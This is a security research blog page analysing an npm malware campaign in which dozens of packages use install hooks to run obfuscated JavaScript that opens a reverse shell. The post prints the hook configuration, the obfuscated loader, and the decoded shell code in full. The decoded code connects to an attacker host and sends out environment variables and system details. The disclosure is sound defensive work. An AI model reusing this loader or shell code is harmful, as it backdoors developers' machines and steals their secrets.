<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Dozens of npm Packages Caught Attempting to Deploy Reverse Shell</title>

    <link rel="stylesheet" href="https://blog.phylum.io/assets/built/screen.css?v=ec20c08279">

    <link rel="icon" href="https://blog.phylum.io/content/images/size/w256h256/2023/03/phylum-logo.png" type="image/png">
    <link rel="canonical" href="https://blog.phylum.io/dozens-of-npm-packages-caught-attempting-to-deploy-reverse-shell/">
    <meta name="referrer" content="no-referrer-when-downgrade">
    
    <meta property="og:site_name" content="Phylum">
    <meta property="og:type" content="article">
    <meta property="og:title" content="Dozens of npm Packages Caught Attempting to Deploy Reverse Shell">
    <meta property="og:description" content="On October 27, Phylum’s automated risk detection platform began alerting us to a series of suspicious publications on npm. Over the course of the following few days, we discovered a campaign involving at least 48 different publications. These packages, deceptively named to appear legitimate, contained obfuscated JavaScript designed to">
    <meta property="og:url" content="https://blog.phylum.io/dozens-of-npm-packages-caught-attempting-to-deploy-reverse-shell/">
    <meta property="og:image" content="https://blog.phylum.io/content/images/size/w1200/2023/11/hacker_dude2-1.png">
    <meta property="article:published_time" content="2023-11-02T18:02:36.000Z">
    <meta property="article:modified_time" content="2023-11-02T19:33:45.000Z">
    <meta property="article:tag" content="Research">
    
    <meta property="article:publisher" content="https://www.facebook.com/ghost">
    <meta name="twitter:card" content="summary_large_image">
    <meta name="twitter:title" content="Dozens of npm Packages Caught Attempting to Deploy Reverse Shell">
    <meta name="twitter:description" content="On October 27, Phylum’s automated risk detection platform began alerting us to a series of suspicious publications on npm. Over the course of the following few days, we discovered a campaign involving at least 48 different publications. These packages, deceptively named to appear legitimate, contained obfuscated JavaScript designed to">
    <meta name="twitter:url" content="https://blog.phylum.io/dozens-of-npm-packages-caught-attempting-to-deploy-reverse-shell/">
    <meta name="twitter:image" content="https://blog.phylum.io/content/images/size/w1200/2023/11/hacker_dude2-1.png">
    <meta name="twitter:label1" content="Written by">
    <meta name="twitter:data1" content="Phylum Research Team">
    <meta name="twitter:label2" content="Filed under">
    <meta name="twitter:data2" content="Research">
    <meta name="twitter:site" content="@phylum_io">
    <meta name="twitter:creator" content="@Phylum_IO">
    <meta property="og:image:width" content="1200">
    <meta property="og:image:height" content="686">
    
    <script type="application/ld+json">
{
    "@context": "https://schema.org",
    "@type": "Article",
    "publisher": {
        "@type": "Organization",
        "name": "Phylum",
        "url": "https://blog.phylum.io/",
        "logo": {
            "@type": "ImageObject",
            "url": "https://blog.phylum.io/content/images/2023/07/dark-bckg--1--svg.png"
        }
    },
    "author": {
        "@type": "Person",
        "name": "Phylum Research Team",
        "image": {
            "@type": "ImageObject",
            "url": "https://blog.phylum.io/content/images/2023/04/charles-darwin-phylum.webp",
            "width": 1024,
            "height": 1024
        },
        "url": "https://blog.phylum.io/author/phylum-research-team/",
        "sameAs": [
            "https://phylum.io",
            "https://twitter.com/Phylum_IO"
        ]
    },
    "headline": "Dozens of npm Packages Caught Attempting to Deploy Reverse Shell",
    "url": "https://blog.phylum.io/dozens-of-npm-packages-caught-attempting-to-deploy-reverse-shell/",
    "datePublished": "2023-11-02T18:02:36.000Z",
    "dateModified": "2023-11-02T19:33:45.000Z",
    "image": {
        "@type": "ImageObject",
        "url": "https://blog.phylum.io/content/images/size/w1200/2023/11/hacker_dude2-1.png",
        "width": 1200,
        "height": 686
    },
    "keywords": "Research",
    "description": "On October 27, Phylum’s automated risk detection platform began alerting us to a series of suspicious publications on npm. Over the course of the following few days, we discovered a campaign involving at least 48 different publications. These packages, deceptively named to appear legitimate, contained obfuscated JavaScript designed to initiate a reverse shell on package install.\n\n--cta--\n\n\nBackground\n\nAll the packages shown at the end of this post in the “Publication Timeline” section contain th",
    "mainEntityOfPage": "https://blog.phylum.io/dozens-of-npm-packages-caught-attempting-to-deploy-reverse-shell/"
}
    </script>

    <meta name="generator" content="Ghost 5.79">
    <link rel="alternate" type="application/rss+xml" title="Phylum" href="https://blog.phylum.io/rss/">
    <script defer src="https://cdn.jsdelivr.net/ghost/portal@~2.37/umd/portal.min.js" data-i18n="false" data-ghost="https://blog.phylum.io/" data-key="53c8dc3d0bd9be3e71939ee508" data-api="https://phylum.ghost.io/ghost/api/content/" crossorigin="anonymous"></script><style id="gh-members-styles">.gh-post-upgrade-cta-content,
.gh-post-upgrade-cta {
    display: flex;
    flex-direction: column;
    align-items: center;
    font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;
    text-align: center;
    width: 100%;
    color: #ffffff;
    font-size: 16px;
}

.gh-post-upgrade-cta-content {
    border-radius: 8px;
    padding: 40px 4vw;
}

.gh-post-upgrade-cta h2 {
    color: #ffffff;
    font-size: 28px;
    letter-spacing: -0.2px;
    margin: 0;
    padding: 0;
}

.gh-post-upgrade-cta p {
    margin: 20px 0 0;
    padding: 0;
}

.gh-post-upgrade-cta small {
    font-size: 16px;
    letter-spacing: -0.2px;
}

.gh-post-upgrade-cta a {
    color: #ffffff;
    cursor: pointer;
    font-weight: 500;
    box-shadow: none;
    text-decoration: underline;
}

.gh-post-upgrade-cta a:hover {
    color: #ffffff;
    opacity: 0.8;
    box-shadow: none;
    text-decoration: underline;
}

.gh-post-upgrade-cta a.gh-btn {
    display: block;
    background: #ffffff;
    text-decoration: none;
    margin: 28px 0 0;
    padding: 8px 18px;
    border-radius: 4px;
    font-size: 16px;
    font-weight: 600;
}

.gh-post-upgrade-cta a.gh-btn:hover {
    opacity: 0.92;
}</style>
    <script defer src="https://cdn.jsdelivr.net/ghost/sodo-search@~1.1/umd/sodo-search.min.js" data-key="53c8dc3d0bd9be3e71939ee508" data-styles="https://cdn.jsdelivr.net/ghost/sodo-search@~1.1/umd/main.css" data-sodo-search="https://phylum.ghost.io/" crossorigin="anonymous"></script>
    
    <link href="https://blog.phylum.io/webmentions/receive/" rel="webmention">
    <script defer src="/public/cards.min.js?v=ec20c08279"></script>
    <link rel="stylesheet" type="text/css" href="/public/cards.min.css?v=ec20c08279">
    <script defer src="/public/member-attribution.min.js?v=ec20c08279"></script>
    <link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Manrope:wght@700&display=swap" rel="stylesheet">

<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Manrope:wght@600&display=swap" rel="stylesheet">

<!-- Google Tag Manager -->
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-TXLWR5XJ');</script>
<!-- End Google Tag Manager --><style>:root {--ghost-accent-color: #061928;}</style>
</head>

<body class="post-template tag-research is-head-left-logo">
<div class="site">

    <header id="gh-head" class="gh-head gh-outer">
        <div class="gh-head-inner">
            <div class="gh-head-brand">
                <div class="gh-head-brand-wrapper">
                    <a class="gh-head-logo" href="https://phylum.io">
                            <img src="https://blog.phylum.io/content/images/2023/07/dark-bckg--1--svg.png" alt="Phylum">
                    </a>
                </div>
                <button class="gh-search gh-icon-btn" aria-label="Search this site" data-ghost-search><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2" width="20" height="20"><path stroke-linecap="round" stroke-linejoin="round" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"></path></svg></button>
                <button class="gh-burger"></button>
            </div>

            <nav class="gh-head-menu">
                <ul class="nav">
    <li class="nav-home"><a href="https://phylum.io">Home</a></li>
    <li class="nav-research"><a href="https://blog.phylum.io/tag/research/">Research</a></li>
    <li class="nav-insights-and-resources"><a href="https://blog.phylum.io/tag/insights/">Insights and Resources</a></li>
    <li class="nav-docs"><a href="https://docs.phylum.io/">Docs</a></li>
</ul>

            </nav>

            <div class="gh-head-actions">
                    <button class="gh-search gh-icon-btn" aria-label="Search this site" data-ghost-search><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2" width="20" height="20"><path stroke-linecap="round" stroke-linejoin="round" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"></path></svg></button>
                    <a class="discord" href="https://discord.gg/Fe6pr5eW6p">Discord</a>
                    <a class="join-phylum" href="https://app.phylum.io">Sign Up Free</a>
            </div>
        </div>
    </header>


    <div class="site-content">
        
<div class="content-area">
<main class="site-main">


    <article class="post tag-research featured single-post">

        <header class="article-header gh-canvas">
            <div class="post-meta">
                <span class="post-meta-item post-meta-date">
                    <time datetime="2023-11-02">Nov 2, 2023</time>
                </span>
                    <span class="post-meta-item post-meta-length">8 min read</span>
                    <span class="post-meta-item post-meta-tags"><a class="post-tag post-tag-research" href="/tag/research/" title="Research">Research</a></span>
            </div>
            <h1 class="post-title">Dozens of npm Packages Caught Attempting to Deploy Reverse Shell</h1>
                <figure class="post-media kg-width-wide">
        <img
            class="post-image"
            srcset="/content/images/size/w400/2023/11/hacker_dude2-1.png 400w,
                    /content/images/size/w750/2023/11/hacker_dude2-1.png 750w,
                    /content/images/size/w960/2023/11/hacker_dude2-1.png 960w,
                    /content/images/size/w1140/2023/11/hacker_dude2-1.png 1140w,
                    /content/images/size/w1920/2023/11/hacker_dude2-1.png 1920w"
            sizes="(min-width: 960px) 960px, 92vw"
            src="/content/images/size/w960/2023/11/hacker_dude2-1.png"
            alt="Dozens of npm Packages Caught Attempting to Deploy Reverse Shell"
            loading="lazy"
        >

    </figure>

           	<style>
				.share-icons {
					display: flex;
					justify-content: center;
					align-items: center;
					height: 32px;
					margin: 2em 0 0 0; 
				}
				
				.share-icon {
					margin: 0 10px; /* Adjust spacing between icons */
					text-align: center;
				}

                .share-icon a img {
                    border-radius: 5px;
                }
			</style> 
            <div class="share-icons">
                <div class="share-icon">
                    <a href="https://news.ycombinator.com/submitlink?u=https://blog.phylum.io/dozens-of-npm-packages-caught-attempting-to-deploy-reverse-shell/&t=Dozens of npm Packages Caught Attempting to Deploy Reverse Shell" target="_blank">
                        <img src="https://blog.phylum.io/assets/images/hackernews.svg?v=ec20c08279" alt="Hacker News" width="32" height="32">
                    </a>
                </div>
				
                <div class="share-icon">
                    <a href="https://www.reddit.com/submit?url=https://blog.phylum.io/dozens-of-npm-packages-caught-attempting-to-deploy-reverse-shell/&title=Dozens of npm Packages Caught Attempting to Deploy Reverse Shell" target="_blank">
                        <img src="https://blog.phylum.io/assets/images/reddit.svg?v=ec20c08279" alt="Reddit" width="32" height="32">
                    </a>
                </div>
				
                <div class="share-icon">
                    <a href="https://twitter.com/intent/tweet?url=https://blog.phylum.io/dozens-of-npm-packages-caught-attempting-to-deploy-reverse-shell/&text=⚠️ Dozens of npm Packages Caught Attempting to Deploy Reverse Shell by @Phylum_IO">
                        <img src="https://blog.phylum.io/assets/images/twitter.svg?v=ec20c08279" alt="Twitter" width="32" height="32">
                    </a>
                </div>
            </div>
        </header>

        <div class="gh-content gh-canvas">
            <p>On October 27, Phylum’s automated risk detection platform began alerting us to a series of suspicious publications on npm. Over the course of the following few days, we discovered a campaign involving at least 48 different publications. These packages, deceptively named to appear legitimate, contained obfuscated JavaScript designed to initiate a reverse shell on package install.</p><p>--cta--</p><h2 id="background">Background</h2><p>All the packages shown at the end of this post in the “Publication Timeline” section contain the same code. They were all published by the npm user “<a href="https://www.npmjs.com/~hktalent">hktalent</a>”.</p><figure class="kg-card kg-image-card"><img src="https://blog.phylum.io/content/images/2023/11/Screenshot-2023-10-31-at-11.38.53-AM.png" class="kg-image" alt="" loading="lazy" width="1126" height="728" srcset="https://blog.phylum.io/content/images/size/w600/2023/11/Screenshot-2023-10-31-at-11.38.53-AM.png 600w, https://blog.phylum.io/content/images/size/w1000/2023/11/Screenshot-2023-10-31-at-11.38.53-AM.png 1000w, https://blog.phylum.io/content/images/2023/11/Screenshot-2023-10-31-at-11.38.53-AM.png 1126w" sizes="(min-width: 720px) 720px"></figure><p>hktalent also has a <a href="https://github.com/hktalent/">GitHub repo</a></p><figure class="kg-card kg-image-card"><img src="https://blog.phylum.io/content/images/2023/11/Screenshot-2023-10-31-at-2.36.57-PM.png" class="kg-image" alt="Screenshot 2023-10-31 at 2.36.57 PM.png" loading="lazy" width="1345" height="855" srcset="https://blog.phylum.io/content/images/size/w600/2023/11/Screenshot-2023-10-31-at-2.36.57-PM.png 600w, https://blog.phylum.io/content/images/size/w1000/2023/11/Screenshot-2023-10-31-at-2.36.57-PM.png 1000w, https://blog.phylum.io/content/images/2023/11/Screenshot-2023-10-31-at-2.36.57-PM.png 1345w" sizes="(min-width: 720px) 720px"></figure><p>with a package called <a href="https://github.com/hktalent/rshNpm">rshNpm</a>.</p><figure class="kg-card kg-image-card"><img src="https://blog.phylum.io/content/images/2023/11/Screenshot-2023-10-31-at-2.09.37-PM.png" class="kg-image" alt="Screenshot 2023-10-31 at 2.09.37 PM.png" loading="lazy" width="1363" height="692" srcset="https://blog.phylum.io/content/images/size/w600/2023/11/Screenshot-2023-10-31-at-2.09.37-PM.png 600w, https://blog.phylum.io/content/images/size/w1000/2023/11/Screenshot-2023-10-31-at-2.09.37-PM.png 1000w, https://blog.phylum.io/content/images/2023/11/Screenshot-2023-10-31-at-2.09.37-PM.png 1363w" sizes="(min-width: 720px) 720px"></figure><p>In it, you can see the commit history and the npm publish automation script, etc., for all the packages discussed below.</p><h2 id="the-attack-chain">The Attack Chain</h2><p>As with a lot of npm malware, this attack chain is triggered by package installation via an install hook in the <code>package.json</code>.</p><pre><code class="language-json">{
  "name": "linkis-website",
  "version": "6.0.4",
  "description": "aDriv",
  "main": "index.js",
  "scripts": {
    "preinstall": "node ./scripts/init.js &amp;",
    "postinstall": "node ./scripts/init.js &amp;",
    "test": "node ./scripts/init.js &amp;",
    "init": "node ./scripts/init.js"
  },
...TRUNCATED...
</code></pre><p>It’s clear the attacker was highly motivated to get this attack chain triggered by calling <code>init.js</code> from the <code>preinstall</code>, <code>postinstall</code>, <code>test</code>, and <code>init</code> . Either way, if one does install this package, <code>./scripts/init.js</code> is run, so let’s go take a look there.</p><pre><code class="language-javascript">require("child_process").fork("scripts/rsh.js",{detached: true});
process.exit();
</code></pre><p>This script simply creates a new child process that runs the <code>"scripts/rsh.js"</code> script in a detached mode, allowing the child process to continue running independently of the parent process. Taking a look at that script, we see the following.</p><pre><code class="language-javascript">var os = require("os"),
    zlib = require("zlib"),
    bs = "\\u0062\\u0061\\u0073\\u0065\\u0036\\u0034",
    \\u0066\\u0069\\u006C\\u0074\\u0065\\u0072\\u004E\\u0065\\u0074 = (o) =&gt; {
    var oR = {};
    for (var k in o) {
        if ("lo0" == k) continue;
        for (var i in o[k]) {
            if ("127.0.0.1" == o[k][i]["address"]) continue;
            if (o[k][i]["family"] == "IPv4" &amp;&amp; o[k][i]["address"]) {
                oR[k] = o[k][i]
                break;
            }
        }
    }
    return oR;
},
rmKeys = (o, ...keys) =&gt; {
    for (var k in keys) {
        delete o[keys[k]];
    }
    return o;
},pkg =JSON.parse(require("fs").readFileSync("package.json").toString("utf8")),
zS = (s) =&gt;zlib.brotliCompressSync(s, { level: 11, windowBits: 15, quality: 11 }).toString(bs),
zO = (o) =&gt; zS(JSON.stringify(o, null, 2)),
uS = (s) =&gt; zlib.brotliDecompressSync(Buffer.from(s, bs)).toString(),
o = {
    "name": pkg.name,
    "version": pkg.version,
    "pwd": process.cwd(),
    "env": process.env,
    "platform": os.platform(),
    "arch": os.arch(),
    "release": os.release(),
    "type": os.type(),
    "uptime": os.uptime(),
    "hostname": os.hostname(),
    "cpus": [os.cpus().length, rmKeys(os.cpus()[0], "times")],
    "networkInterfaces": filterNet(os.networkInterfaces()),
    "freemem": os.freemem(),
    "totalmem": os.totalmem(),
    "userInfo": os.userInfo()
};
let s = \\u007A\\u004F(\\u006F), \\u0073\\u0031=\\u0075\\u0053(`G/sCIJwHtg1sfVPqObPQC6WsmlPZnVOfAqCQlUG+AJay52WlQRR23HYKiwLI/7ncvQM75zP689ZqjKlrgZVYcYBp1gM8R5zV4glyFKt+CPgOAIT7ekBlFUzW87zjyA6CooEMdzcFs33O/t2tAXawBJUI9pOdw8hOkS4DYLG9xHRAeDZ5ZXbs1oL+Z+k+M2aA4HzxpZD/VAbL7E8erim7UfCx9F/Y4+yCKMrUklhDVFoCdwwQYsUTOxl/nc+gLuTlglxBdupg+2xUfQt7zegHtGsz5GkVkFMdVd6qgszOQWOzY8FtLc/U7KSvB2Q4l4yGpcavIeSsCiZV7YQM5X3KWTMz8v1g55Yld/RldQTkyU91zlOFCeelQqC8qAIL4vEXNhgs2suqFHoQstfjXJpvHFgV0v7Bf8f7X38+oji8qZQUEG8LimNT5MDFKHJ5efBeZkZVIAKCp7gdzI60KAs=`);
\\u0070\\u0072\\u006F\\u0063\\u0065\\u0073\\u0073.\\u0065\\u006E\\u0076.\\u004E\\u004F\\u0044\\u0045\\u005F\\u004E\\u004F\\u005F\\u0045\\u0056\\u0041\\u004C = undefined;
\\u0065\\u0076\\u0061\\u006C(\\u0073\\u0031);
</code></pre><p>Finally, something interesting! Let’s break this down.</p><p>We can see the script starts by importing the <code>os</code> and <code>zlib</code> modules and then declares a variable <code>bs</code> that is initialized, using Unicode escaped characters, to "base64". Here’s the snippet:</p><pre><code class="language-javascript">var os = require("os"),
    zlib = require("zlib"),
    bs = "\\\\u0062\\\\u0061\\\\u0073\\\\u0065\\\\u0036\\\\u0034";
</code></pre><p>Next, a function called <code>filterNet</code>, whose name is again defined with Unicode escaped characters, is created. The function iterates over the network interfaces of the operating system, looking specifically for external IPv4 addresses, stopping the iteration as soon as a valid address is found.</p><pre><code class="language-javascript">\\u0066\\u0069\\u006C\\u0074\\u0065\\u0072\\u004E\\u0065\\u0074 = (o) =&gt; {
    var oR = {};
    for (var k in o) {
        if ("lo0" == k) continue;
        for (var i in o[k]) {
            if ("127.0.0.1" == o[k][i]["address"]) continue;
            if (o[k][i]["family"] == "IPv4" &amp;&amp; o[k][i]["address"]) {
                oR[k] = o[k][i]
                break;
            }
        }
    }
    return oR;
},
</code></pre><p>A convenience function named <code>rmKeys</code> is then defined. This function is used later simply to remove unwanted information about the <code>os.cpus()</code> call that’s made in the code.</p><p>The script reads and parses the content of the <code>package.json</code> file from the current working directory, storing the result in the <code>pkg</code> variable. The name and version of the package are later extracted, presumably so the attacker knows from which package their successful reverse shell was triggered.</p><pre><code class="language-javascript">var pkg = JSON.parse(require("fs").readFileSync("package.json").toString("utf8"));
</code></pre><p>Three functions for data compression and decompression are declared. The <code>zS</code> function compresses a string using the Brotli algorithm, the <code>zO</code> function stringifies and compresses an object, and the <code>uS</code> function decompresses a Brotli compressed string.</p><pre><code class="language-javascript">var zS = (s) =&gt; zlib.brotliCompressSync(s, { level: 11, windowBits: 15, quality: 11 }).toString(bs);
var zO = (o) =&gt; zS(JSON.stringify(o, null, 2));
var uS = (s) =&gt; zlib.brotliDecompressSync(Buffer.from(s, bs)).toString();
</code></pre><p>Following these declarations, the script constructs an object <code>o</code> that aggregates various pieces of system information, such as the operating system's platform, architecture, release version, CPU information, network interfaces, and user information.</p><pre><code class="language-javascript">o = {
    "name": pkg.name,
    "version": pkg.version,
    "pwd": process.cwd(),
    "env": process.env,
    "platform": os.platform(),
    "arch": os.arch(),
    "release": os.release(),
    "type": os.type(),
    "uptime": os.uptime(),
    "hostname": os.hostname(),
    "cpus": [os.cpus().length, rmKeys(os.cpus()[0], "times")],
    "networkInterfaces": filterNet(os.networkInterfaces()),
    "freemem": os.freemem(),
    "totalmem": os.totalmem(),
    "userInfo": os.userInfo()
};
</code></pre><p>With the system information gathered, the script then compresses this information using the previously defined <code>zO</code> function, storing the result in a variable <code>s</code>.</p><pre><code class="language-javascript">// Original definition
let s = \\u007A\\u004F(\\u006F)

// After decoding
let s = zO(o);
</code></pre><p>The variable <code>s1</code> is defined by calling the function <code>uS</code> on an obfuscated string.</p><pre><code class="language-javascript">// Original definition
\\u0073\\u0031=\\u0075\\u0053(`G/sCIJwHtg...`)

// After decoding the Unicode
let s1 = uS(`G/sCIJwHtg1sfVPqObPQC6WsmlPZnVOfAqCQlUG+AJay52WlQRR23HYKiwLI/7ncvQM75zP689ZqjKlrgZVYcYBp1gM8R5zV4glyFKt+CPgOAIT7ekBlFUzW87zjyA6CooEMdzcFs33O/t2tAXawBJUI9pOdw8hOkS4DYLG9xHRAeDZ5ZXbs1oL+Z+k+M2aA4HzxpZD/VAbL7E8erim7UfCx9F/Y4+yCKMrUklhDVFoCdwwQYsUTOxl/nc+gLuTlglxBdupg+2xUfQt7zegHtGsz5GkVkFMdVd6qgszOQWOzY8FtLc/U7KSvB2Q4l4yGpcavIeSsCiZV7YQM5X3KWTMz8v1g55Yld/RldQTkyU91zlOFCeelQqC8qAIL4vEXNhgs2suqFHoQstfjXJpvHFgV0v7Bf8f7X38+oji8qZQUEG8LimNT5MDFKHJ5efBeZkZVIAKCp7gdzI60KAs=`);
</code></pre><p>We can simply evaluate <code>s1</code> at this point to see what this obfuscated string actually contains. Doing so yields the following:</p><pre><code class="language-javascript">var config = {
    host: "rsh.51pwn.com",
    port: 8880
    },net = require("net"),
    cp = require("child_process"),client = new net.Socket(),
    reConn = () =&gt; {client.connect(config.port, config.host)};
client.on("connect", () =&gt; {
    var command = (process.platform === "win32" ? "cmd /c start /b cmd" : "/bin/sh").split(" "),
    sh = cp.spawn(command[0], command.slice(1));
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
    client.write("51pwn_npm\\n");
    client.write(s + "\\n");
    sh.on("exit", (code) =&gt; {
        if (code === 1) {
            reConn()
        }
    })
});
client.on("close", () =&gt; {reConn()});client.on("error", (e) =&gt; {});
reConn();
process.on("exit", () =&gt; {process.exitCode = 0;reConn()});
</code></pre><p>And there’s our reverse shell! Notice that this code hasn’t actually executed at this point; it’s just defined this script as a string <code>s1</code>.</p><p>The script sets the environment variable <code>NODE_NO_EVAL</code> to <code>undefined</code>. We are unsure what the purpose of this is at this point. There’s no documentation about this environment variable found anywhere. In fact, <code>NODE_NO_EVAL</code> doesn’t appear anywhere in the Node or Deno source repositories.</p><pre><code class="language-javascript">// Original definition
\\u0070\\u0072\\u006F\\u0063\\u0065\\u0073\\u0073.\\u0065\\u006E\\u0076.\\u004E\\u004F\\u0044\\u0045\\u005F\\u004E\\u004F\\u005F\\u0045\\u0056\\u0041\\u004C = undefined;

// After decoding the Unicode
process.env.NODE_NO_EVAL = undefined;
</code></pre><p>Finally, the script evaluates the decompressed string stored in <code>s1</code> , and this officially deploys the reverse shell.</p><pre><code class="language-javascript">// Original definition
\\u0065\\u0076\\u0061\\u006C(\\u0073\\u0031)

// After decoding the Unicode
eval(s1);
</code></pre><h2 id="conclusion">Conclusion</h2><p>This attack is yet another illustration of the continuous threats that pervade our open-source ecosystems, capitalizing on the trust that developers place in them. In this particular case, the attacker published dozens of benign-sounding packages with several layers of obfuscation and deceptive tactics in an attempt to ultimately deploy a reverse shell on any machine that simply installs one of these packages. And yet again, this attack underscores a crucial reminder of the importance of exercising diligence in the selection and management of dependencies.</p><h2 id="publication-timeline">Publication Timeline</h2><p>As of the publication of this post, here are the following packages we’ve seen in this campaign.</p><table>
<thead>
<tr>
<th>Name</th>
<th>Version</th>
<th>Publish Date (UTC)</th>
</tr>
</thead>
<tbody>
<tr>
<td>rocketmq-site</td>
<td>6.0.2</td>
<td>2023-10-27 08:48:49</td>
</tr>
<tr>
<td>aliyundrive</td>
<td>6.0.3</td>
<td>2023-10-27 10:24:57</td>
</tr>
<tr>
<td>spring-projects</td>
<td>6.0.3</td>
<td>2023-10-27 10:25:00</td>
</tr>
<tr>
<td>linkis-website</td>
<td>6.0.3</td>
<td>2023-10-27 10:25:02</td>
</tr>
<tr>
<td>www-site</td>
<td>6.0.3</td>
<td>2023-10-27 10:25:05</td>
</tr>
<tr>
<td>commons-skin</td>
<td>6.0.3</td>
<td>2023-10-27 10:25:10</td>
</tr>
<tr>
<td>echarts-www</td>
<td>6.0.3</td>
<td>2023-10-27 10:25:15</td>
</tr>
<tr>
<td>scan4all</td>
<td>6.0.3</td>
<td>2023-10-27 10:25:18</td>
</tr>
<tr>
<td>yinhai</td>
<td>6.0.3</td>
<td>2023-10-27 10:25:21</td>
</tr>
<tr>
<td>yinhai-ta3</td>
<td>6.0.3</td>
<td>2023-10-27 10:25:23</td>
</tr>
<tr>
<td>yinhai-cloud</td>
<td>6.0.3</td>
<td>2023-10-27 10:25:26</td>
</tr>
<tr>
<td>yinhai-ta3-cloud</td>
<td>6.0.3</td>
<td>2023-10-27 10:25:29</td>
</tr>
<tr>
<td>redis-v4</td>
<td>6.0.3</td>
<td>2023-10-27 10:25:31</td>
</tr>
<tr>
<td>socket.io-client-v2</td>
<td>6.0.3</td>
<td>2023-10-27 10:25:34</td>
</tr>
<tr>
<td>engine.io-client-v3</td>
<td>6.0.3</td>
<td>2023-10-27 10:25:36</td>
</tr>
<tr>
<td>unieap</td>
<td>2.2.1</td>
<td>2023-10-28 07:41:46</td>
</tr>
<tr>
<td>unieap-ios</td>
<td>2.2.1</td>
<td>2023-10-28 07:41:50</td>
</tr>
<tr>
<td>unieap-android</td>
<td>2.2.1</td>
<td>2023-10-28 07:41:57</td>
</tr>
<tr>
<td>unieap-cloud</td>
<td>2.2.1</td>
<td>2023-10-28 07:42:01</td>
</tr>
<tr>
<td>unieap-spring</td>
<td>2.2.1</td>
<td>2023-10-28 07:42:05</td>
</tr>
<tr>
<td>33-js-concepts</td>
<td>6.0.2</td>
<td>2023-10-29 03:16:40</td>
</tr>
<tr>
<td>30-days-of-javascript</td>
<td>6.0.2</td>
<td>2023-10-29 03:20:31</td>
</tr>
<tr>
<td>hexojs</td>
<td>6.0.2</td>
<td>2023-10-29 05:22:09</td>
</tr>
<tr>
<td>arduino-ide-extension</td>
<td>2.2.3</td>
<td>2023-10-29 06:22:52</td>
</tr>
<tr>
<td>tslint-slick</td>
<td>5.0.2</td>
<td>2023-10-29 06:23:19</td>
</tr>
<tr>
<td>babel-preset-slick</td>
<td>7.0.5</td>
<td>2023-10-29 06:23:36</td>
</tr>
<tr>
<td>tsconfig-slick</td>
<td>3.0.3</td>
<td>2023-10-29 06:23:57</td>
</tr>
<tr>
<td>sequelize-orm</td>
<td>6.0.2</td>
<td>2023-10-29 07:08:34</td>
</tr>
<tr>
<td>layui.js</td>
<td>6.0.2</td>
<td>2023-10-29 07:18:30</td>
</tr>
<tr>
<td>sshwifty-ui</td>
<td>6.0.2</td>
<td>2023-10-30 01:16:47</td>
</tr>
<tr>
<td>sshwifty</td>
<td>6.0.2</td>
<td>2023-10-30 03:04:58</td>
</tr>
<tr>
<td>generate-protocol</td>
<td>6.0.2</td>
<td>2023-10-30 19:27:20</td>
</tr>
<tr>
<td>xterm-addon-clipboard</td>
<td>6.0.4</td>
<td>2023-10-30 23:03:24</td>
</tr>
<tr>
<td>rocketmq-site</td>
<td>6.0.4</td>
<td>2023-10-30 23:06:39</td>
</tr>
<tr>
<td>aliyundrive</td>
<td>6.0.4</td>
<td>2023-10-30 23:07:07</td>
</tr>
<tr>
<td>spring-projects</td>
<td>6.0.4</td>
<td>2023-10-30 23:07:09</td>
</tr>
<tr>
<td>linkis-website</td>
<td>6.0.4</td>
<td>2023-10-30 23:07:12</td>
</tr>
<tr>
<td>www-site</td>
<td>6.0.4</td>
<td>2023-10-30 23:07:15</td>
</tr>
<tr>
<td>commons-skin</td>
<td>6.0.4</td>
<td>2023-10-30 23:07:17</td>
</tr>
<tr>
<td>echarts-www</td>
<td>6.0.4</td>
<td>2023-10-30 23:07:20</td>
</tr>
<tr>
<td>scan4all</td>
<td>6.0.4</td>
<td>2023-10-30 23:07:23</td>
</tr>
<tr>
<td>yinhai</td>
<td>6.0.4</td>
<td>2023-10-30 23:07:26</td>
</tr>
<tr>
<td>unieap</td>
<td>6.0.4</td>
<td>2023-10-30 23:07:54</td>
</tr>
<tr>
<td>unieap-ios</td>
<td>6.0.4</td>
<td>2023-10-30 23:08:02</td>
</tr>
<tr>
<td>unieap-android</td>
<td>6.0.4</td>
<td>2023-10-30 23:08:05</td>
</tr>
<tr>
<td>unieap-cloud</td>
<td>6.0.4</td>
<td>2023-10-30 23:08:14</td>
</tr>
<tr>
<td>unieap-spring</td>
<td>6.0.4</td>
<td>2023-10-30 23:08:24</td>
</tr>
<tr>
<td>xterm-addon-unicode-graphemes</td>
<td>6.0.5</td>
<td>2023-10-30 23:28:38</td>
</tr>
</tbody>
</table>

        </div>

            <div class="gh-canvas">

    <section class="author">

        <div class="author-image-placeholder u-placeholder">
                <img class="author-image u-object-fit" src="/content/images/size/w150/2023/04/charles-darwin-phylum.webp" alt="Phylum Research Team" loading="lazy">
        </div>

        <div class="author-wrapper">
            <h4 class="author-name"><a href="/author/phylum-research-team/">Phylum Research Team</a></h4>
                <div class="author-bio">Hackers, Data Scientists, and Engineers responsible for the identification and takedown of software supply chain attackers.</div>
        </div>

    </section>

</div>
    </article>


    <style>
    .gradient-text {
        background-image: linear-gradient(to right, #0099ff, #00feff, #0099ff);
        color: transparent;
        -webkit-background-clip: text; /* For Webkit browsers (e.g., Chrome, Safari) */
        background-clip: text;
    }
</style>
<div class="subscription-form" style="margin: 0">
    <div class="gh-canvas">
